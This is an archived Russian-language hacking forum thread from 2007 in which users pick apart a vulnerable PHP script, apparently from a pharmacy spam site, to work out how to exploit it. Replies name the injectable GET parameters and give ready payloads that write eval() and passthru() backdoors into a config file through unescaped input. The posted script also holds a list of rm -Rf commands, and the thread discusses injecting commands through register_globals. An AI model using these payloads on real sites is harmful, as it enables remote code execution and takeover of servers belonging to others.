Просмотр полной версии : Как правильно экплаутировать?
guest3297
09.11.2007, 08:17
Есть код интересует exec.
И откуда берется переменная __FILE__ ?
<?
if(array_key_exists('config',$_GET)){
$source = '<?'."\n";
$source .= '$SDATA[\'THEME\'] = \''.$_GET['theme'].'\';'."\n";
$source .= '$SDATA[\'SUPPORT-MAIL\'] = \''.$_GET['sem'].'\';'."\n";
$source .= '$SDATA[\'SUPPORT-HOST\'] = \''.$_GET['sh'].'\';'."\n\n";
$source .= '$SDATA[\'PRICE_MODIFIER\'][\'default\'] = '.$_GET['pr'].';'."\n";
$source .= '$SDATA[\'USE_FREE_VIAGRA_PILLS\'] = true;'."\n";
$source .= '$SDATA[\'USE_REWRITE_URLS\'] = true;'."\n";
$source .= '?>';
//mkdir(dirname(__FILE__).'/_cnf/'.$_GET['url'],0777);
if($fp = @fopen(dirname(__FILE__).'/_cnf/unknown/config.inc','w')){
fwrite($fp,$source);
fclose($fp);
die('OK:-:');
}
else die('ERROR:-:writeconfig');
}
else{
$CMD = array();
include_once dirname(__FILE__).'/cmd.php';
$cnt = count($CMD);
for($i=0;$i<$cnt;$i++){
exec($CMD[$i],$out,$res);
if(($CMD[$i] != 'chmod -R 777 ./_cnf') && ($CMD[$i] != 'chmod -R 777 ./var'))
if($res != 0) die('ERROR:-:'.$CMD[$i]);
}
}
?>
у тебя эта строчка закоментированна
//mkdir(dirname(__FILE__).'/_cnf/'.$_GET['url'],0777);
создает директорию, где dirname это директория на хосте, __FILE__ скорее всего это какая то константа, дальше еще одна папка и файл, и выставляются чмоды.
Из манов:
mkdir ("/path/to/my/dir", cmod);
У тя где то в скриптах должно быть такое
define ("_FILE_", "samehit.php");
http://php.ru.manual.osdevel.com/language.constants.predefined.html
guest3297
09.11.2007, 10:16
Еще раз интересует exec()
я думаю из [DOCUMENT_ROOT]
вот например при открытии файла
if($fp = @fopen(dirname(__FILE__).'/_cnf/unknown/config.inc','w'))
имя каталога она берёт из _FILE_ потом добавляет адрес нужного файла.
gemaglabin
09.11.2007, 10:32
C exec ты ничего не поделаешь зато в конфиг можешь записать php код . config=1&theme=';eval($_REQUEST['c']);# если конечно ковычки не эскейпятся
2gibson это предопределенная интепретатором константа.
>> include_once dirname(__FILE__).'/cmd.php';
ну мы же не знаем чего в cmd.php находится, а там как раз и идет определение массива $cmd.
зы я бы на твоем месте смотрел, что у нас в первом if идет)
зыы ужасные исходники
groundhog
09.11.2007, 11:06
[ cash ], константа __FILE__ является одной из предопределённых констант и всегда резолвится в полный путь до текущего файла, т.е. в нашем случае данная константа резолвится в полный путь к этому бажному скрипту. Что касается exec - в данном случае мы ничего поделать не можем, т.к. единственный параметр, который содержит выполняемую команду это $CMD и он обнуляется ($CMD = array()) перед использованием. Как правильно заметил Гема, в данном случае единственное само-собой напрашивающее действие - проинжектить параметры и прописать в конфиг свой php-код. То есть уязвимые параметры у нас: theme, sem, sh, pr. Можно использовать любой из них. Единственное - если на серваке включены magic_quotes это может обернуться для нас проблемой и лишит ряда удобств. Вот пример вызова этого скрипта:
bug.php?config=1&pr=RUR;passthru($_POST[cmd]);
Обрати внимание, я использовал параметр pr, т.к. в конфиге его значение не обрамляется кавычками.
guest3297
09.11.2007, 11:08
В cmd.php и есть масив с командами.
<?
$CMD[] = 'rm -Rf ./core';
$CMD[] = 'rm -Rf ./data';
$CMD[] = 'rm -Rf ./themes';
$CMD[] = 'rm -Rf ./thumbs';
$CMD[] = 'rm -Rf ./temp';
$CMD[] = 'rm -Rf ./var';
?>
C exec ты ничего не поделаешь зато в конфиг можешь записать php код . config=1&theme=';eval($_REQUEST['c']);# если конечно ковычки не эскейпятся
Да токо пишеться inc файл...
Тоесть как я понял внедрить в массив CMD свою команду не реально?
И сам конфиг не куда не инклудиться... он всего лишь остаток скрипта который забыли удалить...
groundhog
09.11.2007, 11:42
Ну ничто не мешает открыть конфиг тебе, если парсится расширение inc и он доступен через веб. В массив CMD влезть нереально, так как он жёстко забит в файле и нету никакого интерфейса общения с ним.
Тоесть как я понял внедрить в массив CMD свою команду не реально?
Еслиб не было строчки $CMD = array();
и был бы register_globals? тогда можно было бы, а так нет
guest3297
09.11.2007, 11:47
Еслиб не было строчки $CMD = array();
и был бы register_globals? тогда можно было бы, а так нет
Ну приведи пример... будет интересно лично мне.
ну там массив CMD - список (автомассив)
если в $_request добавить CMD[]="ls -la";
то это значение попадет в массив, а так ка там в exec пердается весь массив, то и твоя комманда выполнится
а тут $CMD = array(); - его обнуляет
(помоему так или просто невыспалсяч)
2[ cash ] ты задал вопрос И откуда берется переменная __FILE__ ? я тебе ответил, минус поставлен не заслуженно.
Как правильно заметил groundhog бажной является только это строка
$source .= '$SDATA[\'PRICE_MODIFIER\'][\'default\'] = '.$_GET['pr'].';'."\n";
через нее можно записать произвольный код на выполнение, например в тот же cmd.php.
2Scipio посмотри внимательно на первую и вторую часть скрипта там совсем разные действия выполняются и ты не как не можешь повлиять на то что находится в массиве $CMD.
2[ cash ] ты задал вопрос я тебе ответил, минус поставлен не заслуженно.
Как правильно заметил groundhog бажной является только это строка
через нее можно записать произвольный код на выполнение, например в тот же cmd.php.
2Scipio посмотри внимательно на первую и вторую часть скрипта там совсем разные действия выполняются и ты не как не можешь повлиять на то что находится в массиве $CMD.
Нда, минус то тебе правильно поставили, т.к. __FILE__ - является предопределенной константой, и в ней содержится имя выполняемого скрипта, т.е. define(__FILE__ ,"bla-bla") - это действительно бред
Посмотрел я на оба скрипта, и на свои посты, и так и не понял в чем потвоему моя ошибка
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot